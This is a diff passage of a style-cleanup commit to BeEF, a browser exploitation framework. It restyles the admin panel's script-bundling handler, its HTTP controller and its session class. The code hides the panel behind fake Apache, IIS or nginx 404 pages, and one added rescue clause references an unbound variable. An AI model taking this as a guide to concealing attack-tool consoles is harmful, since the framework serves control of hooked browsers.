Extensions: Resolve many Rubocop violations
This commit is contained in:
@@ -4,146 +4,149 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module AdminUI
|
module AdminUI
|
||||||
module API
|
module API
|
||||||
|
#
|
||||||
|
# We use this module to register all the http handler for the Administrator UI
|
||||||
|
#
|
||||||
|
module Handler
|
||||||
|
require 'uglifier'
|
||||||
|
|
||||||
#
|
BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler')
|
||||||
# We use this module to register all the http handler for the Administrator UI
|
|
||||||
#
|
|
||||||
module Handler
|
|
||||||
require 'uglifier'
|
|
||||||
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler')
|
def self.evaluate_and_minify(content, params, name)
|
||||||
|
erubis = Erubis::FastEruby.new(content)
|
||||||
|
evaluated = erubis.evaluate(params)
|
||||||
|
|
||||||
def self.evaluate_and_minify(content, params, name)
|
print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)"
|
||||||
erubis = Erubis::FastEruby.new(content)
|
begin
|
||||||
evaluated = erubis.evaluate(params)
|
opts = {
|
||||||
|
output: {
|
||||||
|
comments: :none
|
||||||
|
},
|
||||||
|
compress: {
|
||||||
|
dead_code: true
|
||||||
|
},
|
||||||
|
harmony: true
|
||||||
|
}
|
||||||
|
minified = Uglifier.compile(evaluated, opts)
|
||||||
|
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
|
||||||
|
rescue StandardError
|
||||||
|
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}"
|
||||||
|
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
|
||||||
|
minified = evaluated
|
||||||
|
end
|
||||||
|
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", 'w+')
|
||||||
|
File.write(write_to, minified)
|
||||||
|
|
||||||
print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)"
|
File.path write_to
|
||||||
begin
|
rescue StandardError => e
|
||||||
opts = {
|
print_error "[AdminUI] Error: #{e.message}"
|
||||||
:output => {
|
print_error e.backtrace
|
||||||
:comments => :none
|
end
|
||||||
},
|
|
||||||
:compress => {
|
def self.build_javascript_ui(beef_server)
|
||||||
:dead_code => true,
|
# NOTE: order counts! make sure you know what you're doing if you add files
|
||||||
},
|
esapi = %w[
|
||||||
:harmony => true
|
esapi/Class.create.js
|
||||||
}
|
esapi/jquery-3.3.1.min.js
|
||||||
minified = Uglifier.compile(evaluated, opts)
|
esapi/jquery-encoder-0.1.0.js
|
||||||
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
|
]
|
||||||
rescue
|
|
||||||
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}"
|
ux = %w[
|
||||||
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
|
ui/common/beef_common.js
|
||||||
minified = evaluated
|
ux/PagingStore.js
|
||||||
|
ux/StatusBar.js
|
||||||
|
ux/TabCloseMenu.js
|
||||||
|
]
|
||||||
|
|
||||||
|
panel = %w[
|
||||||
|
ui/panel/common.js
|
||||||
|
ui/panel/PanelStatusBar.js
|
||||||
|
ui/panel/tabs/ZombieTabDetails.js
|
||||||
|
ui/panel/tabs/ZombieTabLogs.js
|
||||||
|
ui/panel/tabs/ZombieTabCommands.js
|
||||||
|
ui/panel/tabs/ZombieTabRider.js
|
||||||
|
ui/panel/tabs/ZombieTabXssRays.js
|
||||||
|
wterm/wterm.jquery.js
|
||||||
|
ui/panel/tabs/ZombieTabIpec.js
|
||||||
|
ui/panel/tabs/ZombieTabAutorun.js
|
||||||
|
ui/panel/PanelViewer.js
|
||||||
|
ui/panel/LogsDataGrid.js
|
||||||
|
ui/panel/BrowserDetailsDataGrid.js
|
||||||
|
ui/panel/ZombieDataGrid.js
|
||||||
|
ui/panel/MainPanel.js
|
||||||
|
ui/panel/ZombieTab.js
|
||||||
|
ui/panel/ZombieTabs.js
|
||||||
|
ui/panel/zombiesTreeList.js
|
||||||
|
ui/panel/ZombiesMgr.js
|
||||||
|
ui/panel/tabs/ZombieTabNetwork.js
|
||||||
|
ui/panel/tabs/ZombieTabRTC.js
|
||||||
|
ui/panel/Logout.js
|
||||||
|
ui/panel/WelcomeTab.js
|
||||||
|
ui/panel/ModuleSearching.js
|
||||||
|
]
|
||||||
|
|
||||||
|
global_js = esapi + ux + panel
|
||||||
|
|
||||||
|
js_files = ''
|
||||||
|
global_js.each do |file|
|
||||||
|
js_files << ("#{File.read("#{File.dirname(__FILE__)}/../media/javascript/#{file}")}\n\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
config = BeEF::Core::Configuration.instance
|
||||||
|
bp = config.get 'beef.extension.admin_ui.base_path'
|
||||||
|
|
||||||
|
# if more dynamic variables are needed in JavaScript files
|
||||||
|
# add them here in the following Hash
|
||||||
|
params = {
|
||||||
|
'base_path' => bp
|
||||||
|
}
|
||||||
|
|
||||||
|
# process all JavaScript files, evaluating them with Erubis
|
||||||
|
print_debug '[AdminUI] Initializing admin panel ...'
|
||||||
|
web_ui_all = evaluate_and_minify(js_files, params, 'web_ui_all')
|
||||||
|
auth_js_file = "#{File.read("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n"
|
||||||
|
web_ui_auth = evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
|
||||||
|
|
||||||
|
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
|
||||||
|
beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# This function gets called automatically by the server.
|
||||||
|
#
|
||||||
|
def self.mount_handler(beef_server)
|
||||||
|
config = BeEF::Core::Configuration.instance
|
||||||
|
|
||||||
|
# Web UI base path, like http://beef_domain/<bp>/panel
|
||||||
|
bp = config.get 'beef.extension.admin_ui.base_path'
|
||||||
|
|
||||||
|
# registers the http controllers used by BeEF core (authentication, logs, modules and panel)
|
||||||
|
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].sort.each do |http_module|
|
||||||
|
require http_module
|
||||||
|
mod_name = File.basename http_module, '.rb'
|
||||||
|
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
|
||||||
|
end
|
||||||
|
|
||||||
|
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
|
||||||
|
media_dir = "#{File.dirname(__FILE__)}/../media/"
|
||||||
|
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
|
||||||
|
|
||||||
|
# If we're not imitating a web server, mount the favicon to /favicon.ico
|
||||||
|
unless config.get('beef.http.web_server_imitation.enable')
|
||||||
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
||||||
|
"/extensions/admin_ui/media/images/#{config.get('beef.extension.admin_ui.favicon_file_name')}",
|
||||||
|
'/favicon.ico',
|
||||||
|
'ico'
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
build_javascript_ui beef_server
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", "w+")
|
|
||||||
File.open(write_to, 'w') { |file| file.write(minified) }
|
|
||||||
|
|
||||||
File.path write_to
|
|
||||||
rescue => e
|
|
||||||
print_error "[AdminUI] Error: #{e.message}"
|
|
||||||
print_error e.backtrace
|
|
||||||
end
|
|
||||||
|
|
||||||
def self.build_javascript_ui(beef_server)
|
|
||||||
#NOTE: order counts! make sure you know what you're doing if you add files
|
|
||||||
esapi = %w(
|
|
||||||
esapi/Class.create.js
|
|
||||||
esapi/jquery-3.3.1.min.js
|
|
||||||
esapi/jquery-encoder-0.1.0.js)
|
|
||||||
|
|
||||||
ux = %w(
|
|
||||||
ui/common/beef_common.js
|
|
||||||
ux/PagingStore.js
|
|
||||||
ux/StatusBar.js
|
|
||||||
ux/TabCloseMenu.js)
|
|
||||||
|
|
||||||
panel = %w(
|
|
||||||
ui/panel/common.js
|
|
||||||
ui/panel/PanelStatusBar.js
|
|
||||||
ui/panel/tabs/ZombieTabDetails.js
|
|
||||||
ui/panel/tabs/ZombieTabLogs.js
|
|
||||||
ui/panel/tabs/ZombieTabCommands.js
|
|
||||||
ui/panel/tabs/ZombieTabRider.js
|
|
||||||
ui/panel/tabs/ZombieTabXssRays.js
|
|
||||||
wterm/wterm.jquery.js
|
|
||||||
ui/panel/tabs/ZombieTabIpec.js
|
|
||||||
ui/panel/tabs/ZombieTabAutorun.js
|
|
||||||
ui/panel/PanelViewer.js
|
|
||||||
ui/panel/LogsDataGrid.js
|
|
||||||
ui/panel/BrowserDetailsDataGrid.js
|
|
||||||
ui/panel/ZombieDataGrid.js
|
|
||||||
ui/panel/MainPanel.js
|
|
||||||
ui/panel/ZombieTab.js
|
|
||||||
ui/panel/ZombieTabs.js
|
|
||||||
ui/panel/zombiesTreeList.js
|
|
||||||
ui/panel/ZombiesMgr.js
|
|
||||||
ui/panel/tabs/ZombieTabNetwork.js
|
|
||||||
ui/panel/tabs/ZombieTabRTC.js
|
|
||||||
ui/panel/Logout.js
|
|
||||||
ui/panel/WelcomeTab.js
|
|
||||||
ui/panel/ModuleSearching.js)
|
|
||||||
|
|
||||||
global_js = esapi + ux + panel
|
|
||||||
|
|
||||||
js_files = ''
|
|
||||||
global_js.each do |file|
|
|
||||||
js_files << File.read(File.dirname(__FILE__)+'/../media/javascript/'+file) + "\n\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
config = BeEF::Core::Configuration.instance
|
|
||||||
bp = config.get "beef.extension.admin_ui.base_path"
|
|
||||||
|
|
||||||
# if more dynamic variables are needed in JavaScript files
|
|
||||||
# add them here in the following Hash
|
|
||||||
params = {
|
|
||||||
'base_path' => bp
|
|
||||||
}
|
|
||||||
|
|
||||||
# process all JavaScript files, evaluating them with Erubis
|
|
||||||
print_debug "[AdminUI] Initializing admin panel ..."
|
|
||||||
web_ui_all = self.evaluate_and_minify(js_files, params, 'web_ui_all')
|
|
||||||
auth_js_file = File.read(File.dirname(__FILE__)+'/../media/javascript/ui/authentication.js') + "\n\n"
|
|
||||||
web_ui_auth = self.evaluate_and_minify(auth_js_file, params, 'web_ui_auth')
|
|
||||||
|
|
||||||
beef_server.mount("#{bp}/web_ui_all.js", Rack::File.new(web_ui_all))
|
|
||||||
beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# This function gets called automatically by the server.
|
|
||||||
#
|
|
||||||
def self.mount_handler(beef_server)
|
|
||||||
config = BeEF::Core::Configuration.instance
|
|
||||||
|
|
||||||
# Web UI base path, like http://beef_domain/<bp>/panel
|
|
||||||
bp = config.get "beef.extension.admin_ui.base_path"
|
|
||||||
|
|
||||||
# registers the http controllers used by BeEF core (authentication, logs, modules and panel)
|
|
||||||
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each do |http_module|
|
|
||||||
require http_module
|
|
||||||
mod_name = File.basename http_module, '.rb'
|
|
||||||
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
|
|
||||||
end
|
|
||||||
|
|
||||||
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
|
|
||||||
media_dir = File.dirname(__FILE__)+'/../media/'
|
|
||||||
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
|
|
||||||
|
|
||||||
# If we're not imitating a web server, mount the favicon to /favicon.ico
|
|
||||||
if !config.get("beef.http.web_server_imitation.enable")
|
|
||||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
|
||||||
"/extensions/admin_ui/media/images/#{config.get("beef.extension.admin_ui.favicon_file_name")}",
|
|
||||||
'/favicon.ico',
|
|
||||||
'ico')
|
|
||||||
end
|
|
||||||
|
|
||||||
self.build_javascript_ui beef_server
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|||||||
@@ -4,178 +4,179 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module AdminUI
|
module AdminUI
|
||||||
|
#
|
||||||
#
|
# Handle HTTP requests and call the relevant functions in the derived classes
|
||||||
# Handle HTTP requests and call the relevant functions in the derived classes
|
#
|
||||||
#
|
class HttpController
|
||||||
class HttpController
|
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
|
||||||
|
|
||||||
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
|
|
||||||
|
|
||||||
C = BeEF::Core::Models::Command
|
|
||||||
CM = BeEF::Core::Models::CommandModule
|
|
||||||
Z = BeEF::Core::Models::HookedBrowser
|
|
||||||
|
|
||||||
#
|
|
||||||
# Class constructor. Takes data from the child class and populates itself with it.
|
|
||||||
#
|
|
||||||
def initialize(data = {})
|
|
||||||
@erubis = nil
|
|
||||||
@status = 200 if data['status'].nil?
|
|
||||||
@session = BeEF::Extension::AdminUI::Session.instance
|
|
||||||
|
|
||||||
@config = BeEF::Core::Configuration.instance
|
C = BeEF::Core::Models::Command
|
||||||
@bp = @config.get "beef.extension.admin_ui.base_path"
|
CM = BeEF::Core::Models::CommandModule
|
||||||
|
Z = BeEF::Core::Models::HookedBrowser
|
||||||
|
|
||||||
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil?
|
#
|
||||||
|
# Class constructor. Takes data from the child class and populates itself with it.
|
||||||
|
#
|
||||||
|
def initialize(data = {})
|
||||||
|
@erubis = nil
|
||||||
|
@status = 200 if data['status'].nil?
|
||||||
|
@session = BeEF::Extension::AdminUI::Session.instance
|
||||||
|
|
||||||
if data['paths'].nil? and self.methods.include? "index"
|
@config = BeEF::Core::Configuration.instance
|
||||||
@paths = {'index' => '/'}
|
@bp = @config.get 'beef.extension.admin_ui.base_path'
|
||||||
else
|
|
||||||
@paths = data['paths']
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
@headers = { 'Content-Type' => 'text/html; charset=UTF-8' } if data['headers'].nil?
|
||||||
# Authentication check. Confirm the request to access the UI comes from a permitted IP address
|
|
||||||
#
|
# @todo what if paths is nil and methods does not include 'index' ?
|
||||||
def authenticate_request(ip)
|
@paths = if data['paths'].nil? and methods.include? 'index'
|
||||||
auth = BeEF::Extension::AdminUI::Controllers::Authentication.new
|
{ 'index' => '/' }
|
||||||
if !auth.permitted_source?(ip)
|
else
|
||||||
if @config.get("beef.http.web_server_imitation.enable")
|
data['paths']
|
||||||
type = @config.get("beef.http.web_server_imitation.type")
|
end
|
||||||
case type
|
end
|
||||||
when "apache"
|
|
||||||
@body = BeEF::Core::Router::APACHE_BODY
|
#
|
||||||
@status = 404
|
# Authentication check. Confirm the request to access the UI comes from a permitted IP address
|
||||||
@headers = BeEF::Core::Router::APACHE_HEADER
|
#
|
||||||
return false
|
def authenticate_request(ip)
|
||||||
when "iis"
|
auth = BeEF::Extension::AdminUI::Controllers::Authentication.new
|
||||||
@body = BeEF::Core::Router::IIS_BODY
|
return true if auth.permitted_source?(ip)
|
||||||
@status = 404
|
|
||||||
@headers = BeEF::Core::Router::IIS_HEADER
|
unless @config.get('beef.http.web_server_imitation.enable')
|
||||||
return false
|
@body = 'Not Found.'
|
||||||
when "nginx"
|
@status = 404
|
||||||
@body = BeEF::Core::Router::APACHE_BODY
|
@headers = { 'Content-Type' => 'text/html' }
|
||||||
@status = 404
|
return false
|
||||||
@headers = BeEF::Core::Router::APACHE_HEADER
|
end
|
||||||
return false
|
|
||||||
else
|
type = @config.get('beef.http.web_server_imitation.type')
|
||||||
@body = "Not Found."
|
case type
|
||||||
@status = 404
|
when 'apache'
|
||||||
@headers = {"Content-Type" => "text/html"}
|
@body = BeEF::Core::Router::APACHE_BODY
|
||||||
return false
|
@status = 404
|
||||||
end
|
@headers = BeEF::Core::Router::APACHE_HEADER
|
||||||
else
|
when 'iis'
|
||||||
@body = "Not Found."
|
@body = BeEF::Core::Router::IIS_BODY
|
||||||
@status = 404
|
@status = 404
|
||||||
@headers = {"Content-Type" => "text/html"}
|
@headers = BeEF::Core::Router::IIS_HEADER
|
||||||
return false
|
when 'nginx'
|
||||||
|
@body = BeEF::Core::Router::APACHE_BODY
|
||||||
|
@status = 404
|
||||||
|
@headers = BeEF::Core::Router::APACHE_HEADER
|
||||||
|
else
|
||||||
|
@body = 'Not Found.'
|
||||||
|
@status = 404
|
||||||
|
@headers = { 'Content-Type' => 'text/html' }
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
rescue StandardError
|
||||||
|
print_error "authenticate_request failed: #{e.message}"
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Check if reverse proxy has been enabled and return the correct client IP address
|
||||||
|
#
|
||||||
|
def get_ip(request)
|
||||||
|
if @config.get('beef.http.allow_reverse_proxy')
|
||||||
|
request.ip # Get client x-forwarded-for ip address
|
||||||
|
else
|
||||||
|
request.get_header('REMOTE_ADDR') # Get client remote ip address
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Handle HTTP requests and call the relevant functions in the derived classes
|
||||||
|
#
|
||||||
|
def run(request, response)
|
||||||
|
@request = request
|
||||||
|
@params = request.params
|
||||||
|
|
||||||
|
# Web UI base path, like http://beef_domain/<bp>/panel
|
||||||
|
auth_url = "#{@bp}/authentication"
|
||||||
|
|
||||||
|
# If access to the UI is not permitted for the request IP address return a 404
|
||||||
|
return unless authenticate_request(get_ip(@request))
|
||||||
|
|
||||||
|
# test if session is unauth'd and whether the auth functionality is requested
|
||||||
|
if !@session.valid_session?(@request) and !instance_of?(BeEF::Extension::AdminUI::Controllers::Authentication)
|
||||||
|
@body = ''
|
||||||
|
@status = 302
|
||||||
|
@headers = { 'Location' => auth_url }
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# get the mapped function (if it exists) from the derived class
|
||||||
|
path = request.path_info
|
||||||
|
unless BeEF::Filters.is_valid_path_info?(path)
|
||||||
|
print_error "[Admin UI] Path is not valid: #{path}"
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
|
||||||
|
if function.nil?
|
||||||
|
print_error "[Admin UI] Path does not exist: #{path}"
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# call the relevant mapped function
|
||||||
|
function.call
|
||||||
|
|
||||||
|
# build the template filename and apply it - if the file exists
|
||||||
|
function_name = function.name # used for filename
|
||||||
|
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
|
||||||
|
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
|
||||||
|
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exist? template_ui # load the template file
|
||||||
|
@body = @eruby.result(binding) unless @eruby.nil? # apply template and set the response
|
||||||
|
|
||||||
|
# set appropriate content-type 'application/json' for .json files
|
||||||
|
@headers['Content-Type'] = 'application/json; charset=UTF-8' if request.path =~ /\.json$/
|
||||||
|
|
||||||
|
# set content type
|
||||||
|
if @headers['Content-Type'].nil?
|
||||||
|
@headers['Content-Type'] = 'text/html; charset=UTF-8' # default content and charset type for all pages
|
||||||
|
end
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Error handling HTTP request: #{e.message}"
|
||||||
|
print_error e.backtrace
|
||||||
|
end
|
||||||
|
|
||||||
|
# Constructs a html script tag (from media/javascript directory)
|
||||||
|
def script_tag(filename)
|
||||||
|
"<script src=\"#{@bp}/media/javascript/#{filename}\" type=\"text/javascript\"></script>"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Constructs a html script tag (from media/javascript-min directory)
|
||||||
|
def script_tag_min(filename)
|
||||||
|
"<script src=\"#{@bp}/media/javascript-min/#{filename}\" type=\"text/javascript\"></script>"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Constructs a html stylesheet tag
|
||||||
|
def stylesheet_tag(filename)
|
||||||
|
"<link rel=\"stylesheet\" href=\"#{@bp}/media/css/#{filename}\" type=\"text/css\" />"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Constructs a hidden html nonce tag
|
||||||
|
def nonce_tag
|
||||||
|
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"#{@session.get_nonce}\"/>"
|
||||||
|
end
|
||||||
|
|
||||||
|
def base_path
|
||||||
|
@bp.to_s
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
@eruby
|
||||||
|
|
||||||
|
# Unescapes a URL-encoded string.
|
||||||
|
def unescape(s)
|
||||||
|
s.tr('+', ' ').gsub(/%([\da-f]{2})/in) { [Regexp.last_match(1)].pack('H*') }
|
||||||
end
|
end
|
||||||
else
|
|
||||||
return true
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Check if reverse proxy has been enabled and return the correct client IP address
|
|
||||||
#
|
|
||||||
def get_ip(request)
|
|
||||||
if !@config.get("beef.http.allow_reverse_proxy")
|
|
||||||
ua_ip = request.get_header('REMOTE_ADDR') # Get client remote ip address
|
|
||||||
else
|
|
||||||
ua_ip = request.ip # Get client x-forwarded-for ip address
|
|
||||||
end
|
|
||||||
ua_ip
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Handle HTTP requests and call the relevant functions in the derived classes
|
|
||||||
#
|
|
||||||
def run(request, response)
|
|
||||||
@request = request
|
|
||||||
@params = request.params
|
|
||||||
|
|
||||||
# Web UI base path, like http://beef_domain/<bp>/panel
|
|
||||||
auth_url = "#{@bp}/authentication"
|
|
||||||
|
|
||||||
# If access to the UI is not permitted for the request IP address return a 404
|
|
||||||
if !authenticate_request(get_ip(@request))
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# test if session is unauth'd and whether the auth functionality is requested
|
|
||||||
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication)
|
|
||||||
@body = ''
|
|
||||||
@status = 302
|
|
||||||
@headers = {'Location' => auth_url}
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# get the mapped function (if it exists) from the derived class
|
|
||||||
path = request.path_info
|
|
||||||
(print_error "path is invalid";return) if not BeEF::Filters.is_valid_path_info?(path)
|
|
||||||
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
|
|
||||||
(print_error "[Admin UI] Path does not exist: #{path}";return) if function.nil?
|
|
||||||
|
|
||||||
# call the relevant mapped function
|
|
||||||
function.call
|
|
||||||
|
|
||||||
# build the template filename and apply it - if the file exists
|
|
||||||
function_name = function.name # used for filename
|
|
||||||
class_s = self.class.to_s.sub('BeEF::Extension::AdminUI::Controllers::', '').downcase # used for directory name
|
|
||||||
template_ui = "#{$root_dir}/extensions/admin_ui/controllers/#{class_s}/#{function_name}.html"
|
|
||||||
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file
|
|
||||||
@body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response
|
|
||||||
|
|
||||||
# set appropriate content-type 'application/json' for .json files
|
|
||||||
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /\.json$/
|
|
||||||
|
|
||||||
# set content type
|
|
||||||
if @headers['Content-Type'].nil?
|
|
||||||
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
|
|
||||||
end
|
|
||||||
rescue => e
|
|
||||||
print_error "Error handling HTTP request: #{e.message}"
|
|
||||||
print_error e.backtrace
|
|
||||||
end
|
|
||||||
|
|
||||||
# Constructs a html script tag (from media/javascript directory)
|
|
||||||
def script_tag(filename)
|
|
||||||
"<script src=\"#{@bp}/media/javascript/#{filename}\" type=\"text/javascript\"></script>"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Constructs a html script tag (from media/javascript-min directory)
|
|
||||||
def script_tag_min(filename)
|
|
||||||
"<script src=\"#{@bp}/media/javascript-min/#{filename}\" type=\"text/javascript\"></script>"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Constructs a html stylesheet tag
|
|
||||||
def stylesheet_tag(filename)
|
|
||||||
"<link rel=\"stylesheet\" href=\"#{@bp}/media/css/#{filename}\" type=\"text/css\" />"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Constructs a hidden html nonce tag
|
|
||||||
def nonce_tag
|
|
||||||
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"#{@session.get_nonce}\"/>"
|
|
||||||
end
|
|
||||||
|
|
||||||
def base_path
|
|
||||||
@bp.to_s
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
@eruby
|
|
||||||
|
|
||||||
# Unescapes a URL-encoded string.
|
|
||||||
def unescape(s)
|
|
||||||
s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')}
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|||||||
@@ -4,112 +4,108 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module AdminUI
|
module AdminUI
|
||||||
|
#
|
||||||
|
# The session for BeEF UI.
|
||||||
|
#
|
||||||
|
class Session
|
||||||
|
include Singleton
|
||||||
|
|
||||||
#
|
attr_reader :ip, :id, :nonce, :auth_timestamp
|
||||||
# The session for BeEF UI.
|
|
||||||
#
|
|
||||||
class Session
|
|
||||||
|
|
||||||
include Singleton
|
|
||||||
|
|
||||||
attr_reader :ip, :id, :nonce, :auth_timestamp
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
set_logged_out
|
|
||||||
@auth_timestamp = Time.new
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
def initialize
|
||||||
# set the session logged in
|
set_logged_out
|
||||||
#
|
@auth_timestamp = Time.new
|
||||||
def set_logged_in(ip)
|
end
|
||||||
@id = BeEF::Core::Crypto::secure_token
|
|
||||||
@nonce = BeEF::Core::Crypto::secure_token
|
|
||||||
@ip = ip
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# set the session logged out
|
|
||||||
#
|
|
||||||
def set_logged_out
|
|
||||||
@id = nil
|
|
||||||
@nonce = nil
|
|
||||||
@ip = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# set teh auth_timestamp
|
# set the session logged in
|
||||||
#
|
#
|
||||||
def set_auth_timestamp(time)
|
def set_logged_in(ip)
|
||||||
@auth_timestamp = time
|
@id = BeEF::Core::Crypto.secure_token
|
||||||
end
|
@nonce = BeEF::Core::Crypto.secure_token
|
||||||
|
@ip = ip
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# return the session id
|
# set the session logged out
|
||||||
#
|
#
|
||||||
def get_id
|
def set_logged_out
|
||||||
@id
|
@id = nil
|
||||||
end
|
@nonce = nil
|
||||||
|
@ip = nil
|
||||||
#
|
end
|
||||||
# return the nonce
|
|
||||||
#
|
|
||||||
def get_nonce
|
|
||||||
@nonce
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# return the auth_timestamp
|
# set teh auth_timestamp
|
||||||
#
|
#
|
||||||
def get_auth_timestamp
|
def set_auth_timestamp(time)
|
||||||
@auth_timestamp
|
@auth_timestamp = time
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Check if nonce valid
|
# return the session id
|
||||||
#
|
#
|
||||||
def valid_nonce?(request)
|
def get_id
|
||||||
|
@id
|
||||||
|
end
|
||||||
|
|
||||||
# check if a valid session
|
#
|
||||||
return false if not valid_session?(request)
|
# return the nonce
|
||||||
return false if @nonce.nil?
|
#
|
||||||
return false if not request.post?
|
def get_nonce
|
||||||
|
@nonce
|
||||||
|
end
|
||||||
|
|
||||||
# get nonce from request
|
#
|
||||||
request_nonce = request['nonce']
|
# return the auth_timestamp
|
||||||
return false if request_nonce.nil?
|
#
|
||||||
|
def get_auth_timestamp
|
||||||
# verify nonce
|
@auth_timestamp
|
||||||
request_nonce.eql? @nonce
|
end
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Check if a session valid
|
# Check if nonce valid
|
||||||
#
|
#
|
||||||
def valid_session?(request)
|
def valid_nonce?(request)
|
||||||
# check if a valid session exists
|
# check if a valid session
|
||||||
return false if @id.nil?
|
return false unless valid_session?(request)
|
||||||
return false if @ip.nil?
|
return false if @nonce.nil?
|
||||||
|
return false unless request.post?
|
||||||
|
|
||||||
# check ip address matches
|
# get nonce from request
|
||||||
return false if not @ip.to_s.eql? request.ip
|
request_nonce = request['nonce']
|
||||||
|
return false if request_nonce.nil?
|
||||||
|
|
||||||
# get session cookie name from config
|
# verify nonce
|
||||||
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.extension.admin_ui.session_cookie_name')
|
request_nonce.eql? @nonce
|
||||||
|
end
|
||||||
|
|
||||||
# check session id matches
|
#
|
||||||
